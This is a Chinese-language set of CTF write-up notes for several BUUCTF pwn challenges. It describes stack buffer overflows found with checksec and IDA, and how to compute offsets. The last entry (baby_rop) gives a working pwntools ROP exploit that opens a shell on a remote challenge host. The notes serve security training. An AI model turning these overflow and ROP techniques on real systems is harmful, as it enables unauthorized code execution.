1.
test_your_nc
1
打开虚拟机,直接在终端nc node5.buuoj.cn 29450,ls列出目录即可看到flag ,cat flag查看
2.
rip
1
虚拟机中checksec(64位,无保护)
打开ida64进行分析,打开是main函数,shift+f12跳到string窗口
在string窗口发现了bin/sh双击打开
发现其在fun函数中,双击fun即可得到fun所在地址
即利用gets溢出返回到fun函数地址,
偏移量的计算:从main函数中可得s,双击s ,由下图可得为23或0x17
在虚拟机中编写exp,即可得到flag
3.
warmup_csaw_2016
1
下载好文件后,checksec该文件(64位程序,无任何保护,为栈溢出)
放入ida查看,在字符串中找到cat flag.text,即可找到其所在的函数(并找到该函数所在的位置)
查看偏移量,双击s,即0x40+8,编写exp,flag直接就出来了
4.
ciscn_2019_n_1
1
checksec后发现其为64位,只开启了nx保护
ida中分析
从string窗口得知cat flag在func函数中,f5进入伪代码查看func函数
发现需要利用gets函数溢出到v2的地址,并修改v2的值为11.28125,从而返回system函数拿到flag。
找v1,v2的地址
偏移地址=0x30-0x04=0x2c 11.28125=0x41348000
进入虚拟机编写exp即可得到flag
14.
[HarekazeCTF2019]baby_rop
1
先进行checksec(64位,开了nx保护)
ida分析,查看字符串,发现了system函数和bin/sh
main函数f5查看伪代码
——isoc99_scanf即为溢出点
查找bin_sh地址
由于是64位,需要进行寄存器传参(ROPgadget --binary 文件名 --only “pop|ret")
即可找到pop rdi这个寄存器所在的地址为0x400683
system_add
(1)ida查找system函数的地址(即plt:system)
(2)使用gdb查找(输入plt即可得到)
payload
payload = b'a'*0x10+b'a'*0x8 + p64(rdi) + p64(bin_sh) + p64(system)
编写exp如下:
from pwn import*
sh=remote("node5.buuoj.cn",27049)
payload = b'a'*(0x10+8)+p64(0x400683)+p64(0x601048)+p64(0x400490)
sh.sendline(payload)
sh.interactive()
find -name flag获取flag所在位置
找到地址后即可得到flag。